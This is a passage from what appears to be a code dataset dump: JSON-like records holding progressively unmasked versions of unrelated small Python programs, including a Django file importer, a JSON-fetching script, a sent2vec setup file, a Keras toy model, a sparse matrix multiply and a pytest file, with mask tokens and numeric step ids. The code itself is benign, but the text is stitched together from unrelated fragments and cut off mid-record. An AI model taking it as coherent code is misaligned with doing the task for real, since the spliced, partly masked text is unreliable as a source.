(path,))\n root_folder_name = os.path.basename(path)\n for root, dirs, files in os.walk(path):\n rel_folders = root.partition(path)[2].strip(os.path.sep).split(os\n .path.sep)\n while '' in rel_folders:\n rel_folders.remove('')\n if base_folder:\n folder_names = base_folder.split('/') + [root_folder_name\n ] + rel_folders\n else:\n folder_names = [root_folder_name] + rel_folders\n folder = self.get_or_create_folder(folder_names)\n for file_obj in files:\n dj_file = DjangoFile(open(os.path.join(root, file_obj)),\n name=file_obj)\n self.import_file(file_obj=dj_file, folder=folder)\n if self.verbosity >= 1:\n print(('folder_created #%s / file_created #%s / ' +\n 'image_created #%s') % (self.folder_created, self.\n file_created, self.image_created))\n\n\nclass Command(NoArgsCommand):\n \"\"\"\n Import directory structure into the filer ::\n\n manage.py --path=/tmp/assets/images\n manage.py --path=/tmp/assets/news --folder=images\n \"\"\"\n option_list = BaseCommand.option_list + (make_option('--path', action=\n 'store', dest='path', default=False, help=\n 'Import files located in the path into django-filer'), make_option(\n '--folder', action='store', dest='base_folder', default=False, help\n =\n 'Specify the destination folder in which the directory structure should be imported'\n ))\n\n def handle_noargs(self, **options):\n file_importer = FileImporter(**options)\n file_importer.walker()\n", "step-4": "from __future__ import unicode_literals\nfrom django.core.files import File as DjangoFile\nfrom django.core.management.base import BaseCommand, NoArgsCommand\nfrom filer.models.filemodels import File\nfrom leonardo.module.media.models import *\nfrom filer.settings import FILER_IS_PUBLIC_DEFAULT\nfrom filer.utils.compatibility import upath\nfrom optparse import make_option\nimport os\nMEDIA_MODELS = [Image, Document, Vector, Video]\n\n\nclass FileImporter(object):\n\n def __init__(self, *args, **kwargs):\n self.path = kwargs.get('path')\n self.base_folder = kwargs.get('base_folder')\n self.verbosity = int(kwargs.get('verbosity', 1))\n self.file_created = 0\n self.image_created = 0\n self.folder_created = 0\n\n def import_file(self, file_obj, folder):\n \"\"\"\n Create a File or an Image into the given folder\n \"\"\"\n created = False\n for cls in MEDIA_MODELS:\n if cls.matches_file_type(file_obj.name):\n obj, created = cls.objects.get_or_create(original_filename=\n file_obj.name, file=file_obj, folder=folder, is_public=\n FILER_IS_PUBLIC_DEFAULT)\n if created:\n self.image_created += 1\n if not created:\n obj, created = File.objects.get_or_create(original_filename=\n file_obj.name, file=file_obj, folder=folder, is_public=\n FILER_IS_PUBLIC_DEFAULT)\n if created:\n self.file_created += 1\n if self.verbosity >= 2:\n print(\n 'file_created #%s / image_created #%s -- file : %s -- created : %s'\n % (self.file_created, self.image_created, obj, created))\n return obj\n\n def get_or_create_folder(self, folder_names):\n \"\"\"\n Gets or creates a Folder based the list of folder names in hierarchical\n order (like breadcrumbs).\n\n get_or_create_folder(['root', 'subfolder', 'subsub folder'])\n\n creates the folders with correct parent relations and returns the\n 'subsub folder' instance.\n \"\"\"\n if not len(folder_names):\n return None\n current_parent = None\n for folder_name in folder_names:\n current_parent, created = Folder.objects.get_or_create(name=\n folder_name, parent=current_parent)\n if created:\n self.folder_created += 1\n if self.verbosity >= 2:\n print('folder_created #%s folder : %s -- created : %s' %\n (self.folder_created, current_parent, created))\n return current_parent\n\n def walker(self, path=None, base_folder=None):\n \"\"\"\n This method walk a directory structure and create the\n Folders and Files as they appear.\n \"\"\"\n path = path or self.path\n base_folder = base_folder or self.base_folder\n path = os.path.normpath(upath(path))\n if base_folder:\n base_folder = os.path.normpath(upath(base_folder))\n print('The directory structure will be imported in %s' % (\n base_folder,))\n if self.verbosity >= 1:\n print('Import the folders and files in %s' % (path,))\n root_folder_name = os.path.basename(path)\n for root, dirs, files in os.walk(path):\n rel_folders = root.partition(path)[2].strip(os.path.sep).split(os\n .path.sep)\n while '' in rel_folders:\n rel_folders.remove('')\n if base_folder:\n folder_names = base_folder.split('/') + [root_folder_name\n ] + rel_folders\n else:\n folder_names = [root_folder_name] + rel_folders\n folder = self.get_or_create_folder(folder_names)\n for file_obj in files:\n dj_file = DjangoFile(open(os.path.join(root, file_obj)),\n name=file_obj)\n self.import_file(file_obj=dj_file, folder=folder)\n if self.verbosity >= 1:\n print(('folder_created #%s / file_created #%s / ' +\n 'image_created #%s') % (self.folder_created, self.\n file_created, self.image_created))\n\n\nclass Command(NoArgsCommand):\n \"\"\"\n Import directory structure into the filer ::\n\n manage.py --path=/tmp/assets/images\n manage.py --path=/tmp/assets/news --folder=images\n \"\"\"\n option_list = BaseCommand.option_list + (make_option('--path', action=\n 'store', dest='path', default=False, help=\n 'Import files located in the path into django-filer'), make_option(\n '--folder', action='store', dest='base_folder', default=False, help\n =\n 'Specify the destination folder in which the directory structure should be imported'\n ))\n\n def handle_noargs(self, **options):\n file_importer = FileImporter(**options)\n file_importer.walker()\n", "step-5": "#-*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.core.files import File as DjangoFile\nfrom django.core.management.base import BaseCommand, NoArgsCommand\nfrom filer.models.filemodels import File\nfrom leonardo.module.media.models import *\nfrom filer.settings import FILER_IS_PUBLIC_DEFAULT\nfrom filer.utils.compatibility import upath\nfrom optparse import make_option\nimport os\n\nMEDIA_MODELS = [Image, Document, Vector, Video]\n\n\nclass FileImporter(object):\n\n def __init__(self, * args, **kwargs):\n self.path = kwargs.get('path')\n self.base_folder = kwargs.get('base_folder')\n self.verbosity = int(kwargs.get('verbosity', 1))\n self.file_created = 0\n self.image_created = 0\n self.folder_created = 0\n\n def import_file(self, file_obj, folder):\n \"\"\"\n Create a File or an Image into the given folder\n \"\"\"\n created = False\n for cls in MEDIA_MODELS:\n if cls.matches_file_type(file_obj.name):\n\n obj, created = cls.objects.get_or_create(\n original_filename=file_obj.name,\n file=file_obj,\n folder=folder,\n is_public=FILER_IS_PUBLIC_DEFAULT)\n if created:\n self.image_created += 1\n if not created:\n obj, created = File.objects.get_or_create(\n original_filename=file_obj.name,\n file=file_obj,\n folder=folder,\n is_public=FILER_IS_PUBLIC_DEFAULT)\n if created:\n self.file_created += 1\n if self.verbosity >= 2:\n print(\"file_created #%s / image_created #%s -- file : %s -- created : %s\" % (self.file_created,\n self.image_created,\n obj, created))\n return obj\n\n def get_or_create_folder(self, folder_names):\n \"\"\"\n Gets or creates a Folder based the list of folder names in hierarchical\n order (like breadcrumbs).\n\n get_or_create_folder(['root', 'subfolder', 'subsub folder'])\n\n creates the folders with correct parent relations and returns the\n 'subsub folder' instance.\n \"\"\"\n if not len(folder_names):\n return None\n current_parent = None\n for folder_name in folder_names:\n current_parent, created = Folder.objects.get_or_create(\n name=folder_name, parent=current_parent)\n if created:\n self.folder_created += 1\n if self.verbosity >= 2:\n print(\"folder_created #%s folder : %s -- created : %s\" % (self.folder_created,\n current_parent, created))\n return current_parent\n\n def walker(self, path=None, base_folder=None):\n \"\"\"\n This method walk a directory structure and create the\n Folders and Files as they appear.\n \"\"\"\n path = path or self.path\n base_folder = base_folder or self.base_folder\n # prevent trailing slashes and other inconsistencies on path.\n path = os.path.normpath(upath(path))\n if base_folder:\n base_folder = os.path.normpath(upath(base_folder))\n print(\"The directory structure will be imported in %s\" % (base_folder,))\n if self.verbosity >= 1:\n print(\"Import the folders and files in %s\" % (path,))\n root_folder_name = os.path.basename(path)\n for root, dirs, files in os.walk(path):\n rel_folders = root.partition(path)[2].strip(os.path.sep).split(os.path.sep)\n while '' in rel_folders:\n rel_folders.remove('')\n if base_folder:\n folder_names = base_folder.split('/') + [root_folder_name] + rel_folders\n else:\n folder_names = [root_folder_name] + rel_folders\n folder = self.get_or_create_folder(folder_names)\n for file_obj in files:\n dj_file = DjangoFile(open(os.path.join(root, file_obj)),\n name=file_obj)\n self.import_file(file_obj=dj_file, folder=folder)\n if self.verbosity >= 1:\n print(('folder_created #%s / file_created #%s / ' +\n 'image_created #%s') % (\n self.folder_created, self.file_created,\n self.image_created))\n\n\nclass Command(NoArgsCommand):\n\n \"\"\"\n Import directory structure into the filer ::\n\n manage.py --path=/tmp/assets/images\n manage.py --path=/tmp/assets/news --folder=images\n \"\"\"\n\n option_list = BaseCommand.option_list + (\n make_option('--path',\n action='store',\n dest='path',\n default=False,\n help='Import files located in the path into django-filer'),\n make_option('--folder',\n action='store',\n dest='base_folder',\n default=False,\n help='Specify the destination folder in which the directory structure should be imported'),\n )\n\n def handle_noargs(self, **options):\n file_importer = FileImporter(**options)\n file_importer.walker()\n", "step-ids": [ 4, 6, 9, 11, 12 ] }
[ 4, 6, 9, 11, 12 ]
import json import urllib while True: # Get input URL url = raw_input("Enter URL: ") # Check valid input if len(url) < 1: break # Get data print("Retrieving", url) connection = urllib.urlopen(url) data = connection.read() print("Retrieved", len(data), "characters") # Parse and deserialize try: js = json.loads(str(data)) except: js = None print(json.dumps(js, indent=4)) comments = js["comments"] result = 0 for comment in comments: result += comment["count"] print("\n") print("Result = {}".format(result))
normal
{ "blob_id": "4cdd5fc15096aac01ad6d97d38ef7397859de18b", "index": 5470, "step-1": "<mask token>\n", "step-2": "<mask token>\nwhile True:\n url = raw_input('Enter URL: ')\n if len(url) < 1:\n break\n print('Retrieving', url)\n connection = urllib.urlopen(url)\n data = connection.read()\n print('Retrieved', len(data), 'characters')\n try:\n js = json.loads(str(data))\n except:\n js = None\n print(json.dumps(js, indent=4))\n comments = js['comments']\n result = 0\n for comment in comments:\n result += comment['count']\n print('\\n')\n print('Result = {}'.format(result))\n", "step-3": "import json\nimport urllib\nwhile True:\n url = raw_input('Enter URL: ')\n if len(url) < 1:\n break\n print('Retrieving', url)\n connection = urllib.urlopen(url)\n data = connection.read()\n print('Retrieved', len(data), 'characters')\n try:\n js = json.loads(str(data))\n except:\n js = None\n print(json.dumps(js, indent=4))\n comments = js['comments']\n result = 0\n for comment in comments:\n result += comment['count']\n print('\\n')\n print('Result = {}'.format(result))\n", "step-4": "import json\nimport urllib\n\nwhile True:\n # Get input URL\n url = raw_input(\"Enter URL: \")\n # Check valid input\n if len(url) < 1:\n break\n\n # Get data\n print(\"Retrieving\", url)\n connection = urllib.urlopen(url)\n data = connection.read()\n print(\"Retrieved\", len(data), \"characters\")\n\n # Parse and deserialize\n try:\n js = json.loads(str(data))\n except:\n js = None\n \n print(json.dumps(js, indent=4))\n\n comments = js[\"comments\"]\n\n result = 0\n\n for comment in comments:\n result += comment[\"count\"]\n\n print(\"\\n\")\n print(\"Result = {}\".format(result))", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
from setuptools import setup, find_packages from setuptools.extension import Extension from sys import platform cython = True try: from Cython.Build import cythonize cython = True except ImportError: cython = False # Define the C++ extension if platform == "darwin": extra_compile_args = ['-O3', '-pthread', '-funroll-loops', '-std=c++0x', '-stdlib=libc++', '-mmacosx-version-min=10.7'] else: extra_compile_args = ['-O3', '-pthread', '-funroll-loops', '-std=c++0x'] extensions = [] if cython: extensions = [ Extension('sent2vec', sources=[ 'sent2vec/sent2vec.pyx', 'sent2vec/cpp/src/args.cc', 'sent2vec/cpp/src/dictionary.cc', 'sent2vec/cpp/src/fasttext.cc', 'sent2vec/cpp/src/main.cc', 'sent2vec/cpp/src/matrix.cc', 'sent2vec/cpp/src/model.cc', 'sent2vec/cpp/src/productquantizer.cc', 'sent2vec/cpp/src/qmatrix.cc', 'sent2vec/cpp/src/utils.cc', 'sent2vec/cpp/src/vector.cc' ], language='c++', extra_compile_args=extra_compile_args ) ] extensions = cythonize(extensions) else: extensions = [ Extension('sent2vec', sources=[ 'sent2vec/sent2vec.cpp', 'sent2vec/cpp/src/args.cc', 'sent2vec/cpp/src/dictionary.cc', 'sent2vec/cpp/src/fasttext.cc', 'sent2vec/cpp/src/main.cc', 'sent2vec/cpp/src/matrix.cc', 'sent2vec/cpp/src/model.cc', 'sent2vec/cpp/src/productquantizer.cc', 'sent2vec/cpp/src/qmatrix.cc', 'sent2vec/cpp/src/utils.cc', 'sent2vec/cpp/src/vector.cc' ], language='c++', extra_compile_args=extra_compile_args ) ] # Package details setup( name='sent2vec', version='0.1.0', author='', author_email='', url='', description='A Python interface for sent2vec library', license='BSD 3-Clause License', packages=['sent2vec'], ext_modules = extensions, install_requires=[], classifiers= [] )
normal
{ "blob_id": "312cc666c88fcd22882c49598db8c5e18bd3dae1", "index": 26, "step-1": "<mask token>\n", "step-2": "<mask token>\ntry:\n from Cython.Build import cythonize\n cython = True\nexcept ImportError:\n cython = False\nif platform == 'darwin':\n extra_compile_args = ['-O3', '-pthread', '-funroll-loops', '-std=c++0x',\n '-stdlib=libc++', '-mmacosx-version-min=10.7']\nelse:\n extra_compile_args = ['-O3', '-pthread', '-funroll-loops', '-std=c++0x']\n<mask token>\nif cython:\n extensions = [Extension('sent2vec', sources=['sent2vec/sent2vec.pyx',\n 'sent2vec/cpp/src/args.cc', 'sent2vec/cpp/src/dictionary.cc',\n 'sent2vec/cpp/src/fasttext.cc', 'sent2vec/cpp/src/main.cc',\n 'sent2vec/cpp/src/matrix.cc', 'sent2vec/cpp/src/model.cc',\n 'sent2vec/cpp/src/productquantizer.cc',\n 'sent2vec/cpp/src/qmatrix.cc', 'sent2vec/cpp/src/utils.cc',\n 'sent2vec/cpp/src/vector.cc'], language='c++', extra_compile_args=\n extra_compile_args)]\n extensions = cythonize(extensions)\nelse:\n extensions = [Extension('sent2vec', sources=['sent2vec/sent2vec.cpp',\n 'sent2vec/cpp/src/args.cc', 'sent2vec/cpp/src/dictionary.cc',\n 'sent2vec/cpp/src/fasttext.cc', 'sent2vec/cpp/src/main.cc',\n 'sent2vec/cpp/src/matrix.cc', 'sent2vec/cpp/src/model.cc',\n 'sent2vec/cpp/src/productquantizer.cc',\n 'sent2vec/cpp/src/qmatrix.cc', 'sent2vec/cpp/src/utils.cc',\n 'sent2vec/cpp/src/vector.cc'], language='c++', extra_compile_args=\n extra_compile_args)]\nsetup(name='sent2vec', version='0.1.0', author='', author_email='', url='',\n description='A Python interface for sent2vec library', license=\n 'BSD 3-Clause License', packages=['sent2vec'], ext_modules=extensions,\n install_requires=[], classifiers=[])\n", "step-3": "<mask token>\ncython = True\ntry:\n from Cython.Build import cythonize\n cython = True\nexcept ImportError:\n cython = False\nif platform == 'darwin':\n extra_compile_args = ['-O3', '-pthread', '-funroll-loops', '-std=c++0x',\n '-stdlib=libc++', '-mmacosx-version-min=10.7']\nelse:\n extra_compile_args = ['-O3', '-pthread', '-funroll-loops', '-std=c++0x']\nextensions = []\nif cython:\n extensions = [Extension('sent2vec', sources=['sent2vec/sent2vec.pyx',\n 'sent2vec/cpp/src/args.cc', 'sent2vec/cpp/src/dictionary.cc',\n 'sent2vec/cpp/src/fasttext.cc', 'sent2vec/cpp/src/main.cc',\n 'sent2vec/cpp/src/matrix.cc', 'sent2vec/cpp/src/model.cc',\n 'sent2vec/cpp/src/productquantizer.cc',\n 'sent2vec/cpp/src/qmatrix.cc', 'sent2vec/cpp/src/utils.cc',\n 'sent2vec/cpp/src/vector.cc'], language='c++', extra_compile_args=\n extra_compile_args)]\n extensions = cythonize(extensions)\nelse:\n extensions = [Extension('sent2vec', sources=['sent2vec/sent2vec.cpp',\n 'sent2vec/cpp/src/args.cc', 'sent2vec/cpp/src/dictionary.cc',\n 'sent2vec/cpp/src/fasttext.cc', 'sent2vec/cpp/src/main.cc',\n 'sent2vec/cpp/src/matrix.cc', 'sent2vec/cpp/src/model.cc',\n 'sent2vec/cpp/src/productquantizer.cc',\n 'sent2vec/cpp/src/qmatrix.cc', 'sent2vec/cpp/src/utils.cc',\n 'sent2vec/cpp/src/vector.cc'], language='c++', extra_compile_args=\n extra_compile_args)]\nsetup(name='sent2vec', version='0.1.0', author='', author_email='', url='',\n description='A Python interface for sent2vec library', license=\n 'BSD 3-Clause License', packages=['sent2vec'], ext_modules=extensions,\n install_requires=[], classifiers=[])\n", "step-4": "from setuptools import setup, find_packages\nfrom setuptools.extension import Extension\nfrom sys import platform\ncython = True\ntry:\n from Cython.Build import cythonize\n cython = True\nexcept ImportError:\n cython = False\nif platform == 'darwin':\n extra_compile_args = ['-O3', '-pthread', '-funroll-loops', '-std=c++0x',\n '-stdlib=libc++', '-mmacosx-version-min=10.7']\nelse:\n extra_compile_args = ['-O3', '-pthread', '-funroll-loops', '-std=c++0x']\nextensions = []\nif cython:\n extensions = [Extension('sent2vec', sources=['sent2vec/sent2vec.pyx',\n 'sent2vec/cpp/src/args.cc', 'sent2vec/cpp/src/dictionary.cc',\n 'sent2vec/cpp/src/fasttext.cc', 'sent2vec/cpp/src/main.cc',\n 'sent2vec/cpp/src/matrix.cc', 'sent2vec/cpp/src/model.cc',\n 'sent2vec/cpp/src/productquantizer.cc',\n 'sent2vec/cpp/src/qmatrix.cc', 'sent2vec/cpp/src/utils.cc',\n 'sent2vec/cpp/src/vector.cc'], language='c++', extra_compile_args=\n extra_compile_args)]\n extensions = cythonize(extensions)\nelse:\n extensions = [Extension('sent2vec', sources=['sent2vec/sent2vec.cpp',\n 'sent2vec/cpp/src/args.cc', 'sent2vec/cpp/src/dictionary.cc',\n 'sent2vec/cpp/src/fasttext.cc', 'sent2vec/cpp/src/main.cc',\n 'sent2vec/cpp/src/matrix.cc', 'sent2vec/cpp/src/model.cc',\n 'sent2vec/cpp/src/productquantizer.cc',\n 'sent2vec/cpp/src/qmatrix.cc', 'sent2vec/cpp/src/utils.cc',\n 'sent2vec/cpp/src/vector.cc'], language='c++', extra_compile_args=\n extra_compile_args)]\nsetup(name='sent2vec', version='0.1.0', author='', author_email='', url='',\n description='A Python interface for sent2vec library', license=\n 'BSD 3-Clause License', packages=['sent2vec'], ext_modules=extensions,\n install_requires=[], classifiers=[])\n", "step-5": "from setuptools import setup, find_packages\nfrom setuptools.extension import Extension\nfrom sys import platform\n\ncython = True\n\ntry:\n from Cython.Build import cythonize\n cython = True\nexcept ImportError:\n cython = False\n\n# Define the C++ extension\nif platform == \"darwin\":\n extra_compile_args = ['-O3', '-pthread', '-funroll-loops', '-std=c++0x', '-stdlib=libc++', '-mmacosx-version-min=10.7']\nelse:\n extra_compile_args = ['-O3', '-pthread', '-funroll-loops', '-std=c++0x']\n\nextensions = []\n\nif cython:\n extensions = [\n Extension('sent2vec',\n sources=[\n 'sent2vec/sent2vec.pyx',\n 'sent2vec/cpp/src/args.cc',\n 'sent2vec/cpp/src/dictionary.cc',\n 'sent2vec/cpp/src/fasttext.cc',\n 'sent2vec/cpp/src/main.cc',\n 'sent2vec/cpp/src/matrix.cc',\n 'sent2vec/cpp/src/model.cc',\n 'sent2vec/cpp/src/productquantizer.cc',\n 'sent2vec/cpp/src/qmatrix.cc',\n 'sent2vec/cpp/src/utils.cc',\n 'sent2vec/cpp/src/vector.cc'\n ],\n language='c++',\n extra_compile_args=extra_compile_args\n )\n ]\n\n extensions = cythonize(extensions)\nelse:\n extensions = [\n Extension('sent2vec',\n sources=[\n 'sent2vec/sent2vec.cpp',\n 'sent2vec/cpp/src/args.cc',\n 'sent2vec/cpp/src/dictionary.cc',\n 'sent2vec/cpp/src/fasttext.cc',\n 'sent2vec/cpp/src/main.cc',\n 'sent2vec/cpp/src/matrix.cc',\n 'sent2vec/cpp/src/model.cc',\n 'sent2vec/cpp/src/productquantizer.cc',\n 'sent2vec/cpp/src/qmatrix.cc',\n 'sent2vec/cpp/src/utils.cc',\n 'sent2vec/cpp/src/vector.cc'\n ],\n language='c++',\n extra_compile_args=extra_compile_args\n )\n ]\n\n# Package details\nsetup(\n name='sent2vec',\n version='0.1.0',\n author='',\n author_email='',\n url='',\n description='A Python interface for sent2vec library',\n license='BSD 3-Clause License',\n packages=['sent2vec'],\n ext_modules = extensions,\n install_requires=[],\n classifiers= []\n)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
pal = [] for i in range(100, 1000): for j in range(100, 1000): s = str(i * j) if s[::-1] == s: pal.append(int(s)) print(max(pal))
normal
{ "blob_id": "179a9cf0713001e361f39aa30192618b392c78c7", "index": 6972, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor i in range(100, 1000):\n for j in range(100, 1000):\n s = str(i * j)\n if s[::-1] == s:\n pal.append(int(s))\nprint(max(pal))\n", "step-3": "pal = []\nfor i in range(100, 1000):\n for j in range(100, 1000):\n s = str(i * j)\n if s[::-1] == s:\n pal.append(int(s))\nprint(max(pal))\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
from collections import defaultdict class Solution: def multiply(self, A: List[List[int]], B: List[List[int]]) -> List[List[int]]: output = [[0 for j in range(len(B[0]))] for i in range(len(A))] rows = defaultdict(list) cols = defaultdict(list) for i in range(len(A)): for j in range(len(A[0])): if A[i][j]: rows[i].append((A[i][j], j)) for i in range(len(B)): for j in range(len(B[0])): if B[i][j]: cols[j].append((B[i][j], i)) for i in rows: for j in cols: rowVals = rows[i] colVals = cols[j] total = 0 p1, p2 = 0, 0 while p1 < len(rowVals) and p2 < len(colVals): if rowVals[p1][1] == colVals[p2][1]: total += rowVals[p1][0] * colVals[p2][0] p1 += 1 p2 += 1 elif rowVals[p1][1] < colVals[p2][1]: p1 += 1 else: p2 += 1 output[i][j] = total return output
normal
{ "blob_id": "8425ee79fcb41799e5edbbab822f93dd40e39d8e", "index": 6481, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Solution:\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Solution:\n\n def multiply(self, A: List[List[int]], B: List[List[int]]) ->List[List[int]\n ]:\n output = [[(0) for j in range(len(B[0]))] for i in range(len(A))]\n rows = defaultdict(list)\n cols = defaultdict(list)\n for i in range(len(A)):\n for j in range(len(A[0])):\n if A[i][j]:\n rows[i].append((A[i][j], j))\n for i in range(len(B)):\n for j in range(len(B[0])):\n if B[i][j]:\n cols[j].append((B[i][j], i))\n for i in rows:\n for j in cols:\n rowVals = rows[i]\n colVals = cols[j]\n total = 0\n p1, p2 = 0, 0\n while p1 < len(rowVals) and p2 < len(colVals):\n if rowVals[p1][1] == colVals[p2][1]:\n total += rowVals[p1][0] * colVals[p2][0]\n p1 += 1\n p2 += 1\n elif rowVals[p1][1] < colVals[p2][1]:\n p1 += 1\n else:\n p2 += 1\n output[i][j] = total\n return output\n", "step-4": "from collections import defaultdict\n\n\nclass Solution:\n\n def multiply(self, A: List[List[int]], B: List[List[int]]) ->List[List[int]\n ]:\n output = [[(0) for j in range(len(B[0]))] for i in range(len(A))]\n rows = defaultdict(list)\n cols = defaultdict(list)\n for i in range(len(A)):\n for j in range(len(A[0])):\n if A[i][j]:\n rows[i].append((A[i][j], j))\n for i in range(len(B)):\n for j in range(len(B[0])):\n if B[i][j]:\n cols[j].append((B[i][j], i))\n for i in rows:\n for j in cols:\n rowVals = rows[i]\n colVals = cols[j]\n total = 0\n p1, p2 = 0, 0\n while p1 < len(rowVals) and p2 < len(colVals):\n if rowVals[p1][1] == colVals[p2][1]:\n total += rowVals[p1][0] * colVals[p2][0]\n p1 += 1\n p2 += 1\n elif rowVals[p1][1] < colVals[p2][1]:\n p1 += 1\n else:\n p2 += 1\n output[i][j] = total\n return output\n", "step-5": "from collections import defaultdict\nclass Solution:\n def multiply(self, A: List[List[int]], B: List[List[int]]) -> List[List[int]]:\n \n output = [[0 for j in range(len(B[0]))] for i in range(len(A))]\n \n rows = defaultdict(list)\n cols = defaultdict(list)\n \n for i in range(len(A)):\n for j in range(len(A[0])):\n if A[i][j]:\n rows[i].append((A[i][j], j))\n \n for i in range(len(B)):\n for j in range(len(B[0])):\n if B[i][j]:\n cols[j].append((B[i][j], i))\n\n for i in rows:\n for j in cols:\n rowVals = rows[i]\n colVals = cols[j]\n\n total = 0\n p1, p2 = 0, 0\n while p1 < len(rowVals) and p2 < len(colVals):\n if rowVals[p1][1] == colVals[p2][1]:\n total += rowVals[p1][0] * colVals[p2][0]\n p1 += 1\n p2 += 1\n elif rowVals[p1][1] < colVals[p2][1]:\n p1 += 1\n else:\n p2 += 1\n output[i][j] = total\n \n \n return output\n \n \n\n \n ", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
dic = {"city": "Moscow", "temperature": 20} # print(dic["city"]) # dic["temperature"] -= 5 # print(dic) print(dic.get("country", "Russia")) dic["date"] = "27.05.2019" print(dic)
normal
{ "blob_id": "f145274c8caa1e725d12003874eb54a580a6e35e", "index": 784, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(dic.get('country', 'Russia'))\n<mask token>\nprint(dic)\n", "step-3": "dic = {'city': 'Moscow', 'temperature': 20}\nprint(dic.get('country', 'Russia'))\ndic['date'] = '27.05.2019'\nprint(dic)\n", "step-4": "dic = {\"city\": \"Moscow\", \"temperature\": 20}\r\n# print(dic[\"city\"])\r\n# dic[\"temperature\"] -= 5\r\n# print(dic)\r\nprint(dic.get(\"country\", \"Russia\"))\r\ndic[\"date\"] = \"27.05.2019\" \r\nprint(dic)", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
# Exercise 1 - linear.py import numpy as np import keras # Build the model model = keras.Sequential([keras.layers.Dense(units=1,input_shape=[1])]) # Set the loss and optimizer function model.compile(optimizer='sgd', loss='mean_squared_error') # Initialize input data xs = np.array([-1.0, 0.0, 1.0, 2.0, 3.0, 4.0], dtype=float) ys = np.array([-2.0, 1.0, 4.0, 7.0, 10.0, 13.0], dtype=float) # Fit the model model.fit(xs, ys, epochs=500) # Prediction dataIn = np.array([10.0], dtype=float) print(model.predict(dataIn,1,1))
normal
{ "blob_id": "c8fecb6bfbd39e7a82294c9e0f9e5eaf659b7fed", "index": 1610, "step-1": "<mask token>\n", "step-2": "<mask token>\nmodel.compile(optimizer='sgd', loss='mean_squared_error')\n<mask token>\nmodel.fit(xs, ys, epochs=500)\n<mask token>\nprint(model.predict(dataIn, 1, 1))\n", "step-3": "<mask token>\nmodel = keras.Sequential([keras.layers.Dense(units=1, input_shape=[1])])\nmodel.compile(optimizer='sgd', loss='mean_squared_error')\nxs = np.array([-1.0, 0.0, 1.0, 2.0, 3.0, 4.0], dtype=float)\nys = np.array([-2.0, 1.0, 4.0, 7.0, 10.0, 13.0], dtype=float)\nmodel.fit(xs, ys, epochs=500)\ndataIn = np.array([10.0], dtype=float)\nprint(model.predict(dataIn, 1, 1))\n", "step-4": "import numpy as np\nimport keras\nmodel = keras.Sequential([keras.layers.Dense(units=1, input_shape=[1])])\nmodel.compile(optimizer='sgd', loss='mean_squared_error')\nxs = np.array([-1.0, 0.0, 1.0, 2.0, 3.0, 4.0], dtype=float)\nys = np.array([-2.0, 1.0, 4.0, 7.0, 10.0, 13.0], dtype=float)\nmodel.fit(xs, ys, epochs=500)\ndataIn = np.array([10.0], dtype=float)\nprint(model.predict(dataIn, 1, 1))\n", "step-5": "# Exercise 1 - linear.py\nimport numpy as np\nimport keras\n# Build the model\nmodel = keras.Sequential([keras.layers.Dense(units=1,input_shape=[1])])\n# Set the loss and optimizer function\nmodel.compile(optimizer='sgd', loss='mean_squared_error')\n# Initialize input data\nxs = np.array([-1.0, 0.0, 1.0, 2.0, 3.0, 4.0], dtype=float)\nys = np.array([-2.0, 1.0, 4.0, 7.0, 10.0, 13.0], dtype=float)\n# Fit the model\nmodel.fit(xs, ys, epochs=500)\n# Prediction\ndataIn = np.array([10.0], dtype=float)\nprint(model.predict(dataIn,1,1))", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
import os from MdApi import MdApi class Adapter(MdApi): def __init__(self): super(Adapter, self).__init__() def connect(self): self.createFtdcMdApi(os.getcwd()) self.registerFront('tcp://180.168.146.187:10010') def onFrontConnected(self): print 'front success' if __name__ == '__main__': adapter = Adapter() adapter.connect()
normal
{ "blob_id": "0e58834120c34b5152026bde6d089be19244e21a", "index": 269, "step-1": "import os\n\nfrom MdApi import MdApi\n\nclass Adapter(MdApi):\n\n def __init__(self):\n \n super(Adapter, self).__init__()\n\n\n def connect(self):\n\n\n self.createFtdcMdApi(os.getcwd())\n\n self.registerFront('tcp://180.168.146.187:10010')\n\n\n def onFrontConnected(self):\n\n print 'front success'\n\n\nif __name__ == '__main__':\n\n adapter = Adapter()\n adapter.connect()\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
"""Tests for flatten_me.flatten_me.""" import pytest ASSERTIONS = [ [[1, [2, 3], 4], [1, 2, 3, 4]], [[['a', 'b'], 'c', ['d']], ['a', 'b', 'c', 'd']], [['!', '?'], ['!', '?']], [[[True, False], ['!'], ['?'], [71, '@']], [True, False, '!', '?', 71, '@']] ] @pytest.mark.parametrize("n, result", ASSERTIONS) def test_flatten_me(n, result): """Test flatten_me() for proper output in test cases.""" from flatten_me import flatten_me assert flatten_me(n) == result
normal
{ "blob_id": "c233ce4e14e9a59a9fb0f29589ced947efeb73a9", "index": 3120, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\[email protected]('n, result', ASSERTIONS)\ndef test_flatten_me(n, result):\n \"\"\"Test flatten_me() for proper output in test cases.\"\"\"\n from flatten_me import flatten_me\n assert flatten_me(n) == result\n", "step-3": "<mask token>\nASSERTIONS = [[[1, [2, 3], 4], [1, 2, 3, 4]], [[['a', 'b'], 'c', ['d']], [\n 'a', 'b', 'c', 'd']], [['!', '?'], ['!', '?']], [[[True, False], ['!'],\n ['?'], [71, '@']], [True, False, '!', '?', 71, '@']]]\n\n\[email protected]('n, result', ASSERTIONS)\ndef test_flatten_me(n, result):\n \"\"\"Test flatten_me() for proper output in test cases.\"\"\"\n from flatten_me import flatten_me\n assert flatten_me(n) == result\n", "step-4": "<mask token>\nimport pytest\nASSERTIONS = [[[1, [2, 3], 4], [1, 2, 3, 4]], [[['a', 'b'], 'c', ['d']], [\n 'a', 'b', 'c', 'd']], [['!', '?'], ['!', '?']], [[[True, False], ['!'],\n ['?'], [71, '@']], 